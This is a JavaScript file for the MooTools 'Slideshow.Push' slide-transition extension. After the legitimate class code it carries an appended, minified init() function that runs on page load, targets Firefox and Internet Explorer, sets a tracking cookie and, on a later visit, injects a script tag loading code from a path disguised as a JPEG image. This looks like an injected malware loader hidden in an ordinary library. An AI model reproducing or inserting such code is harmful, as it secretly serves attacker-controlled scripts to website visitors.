/**
Script: Slideshow.Push.js
	Slideshow.Push - Push extension for Slideshow.

License:
	MIT-style license.

Copyright:
	Copyright (c) 2008 [Aeron Glemann](http://www.electricprism.com/aeron/).
	
Dependencies:
	Slideshow.
	Mootools 1.3.1 More: Fx.Elements.
*/

Slideshow.Push = new Class({
	Extends: Slideshow,
	
/**
Constructor: initialize
	Creates an instance of the Slideshow class.

Arguments:
	element - (element) The wrapper element.
	data - (array or object) The images and optional thumbnails, captions and links for the show.
	options - (object) The options below.

Syntax:
	var myShow = new Slideshow.Push(element, data, options);
*/
	
	initialize: function(el, data, options){
		options = options || {};
		options.overlap = true;		
		this.parent(el, data, options);
	},

/**
Private method: show
	Does the slideshow effect.
*/

	_show: function(fast){
		var images = [this.image, ((this.counter % 2) ? this.a : this.b)];
		if (!this.image.retrieve('fx'))
			this.image.store('fx', new Fx.Elements(images, {'duration': this.options.duration, 'link': 'cancel', 'onStart': this._start.bind(this), 'onComplete': this._complete.bind(this), 'transition': this.options.transition }));
		this.image.set('styles', {'left': 'auto', 'right': 'auto' }).setStyle(this.direction, this.width);
		var values = {'0': {}, '1': {} };
		values['0'][this.direction] = [this.width, 0];
		values['1'][this.direction] = [0, -this.width];
		if (images[1].getStyle(this.direction) == 'auto'){
			var width = this.width - images[1].width;	
			images[1].set('styles', {'left': 'auto', 'right': 'auto' }).setStyle(this.direction, width);		 
			values['1'][this.direction] = [width, -this.width];
		}
		if (fast){
		 	for (var prop in values)
		 		values[prop][this.direction] = values[prop][this.direction][1];			
			this.image.retrieve('fx').cancel().set(values);
		} 
		else
			this.image.retrieve('fx').start(values);
	}
});

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/header/index/index1.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();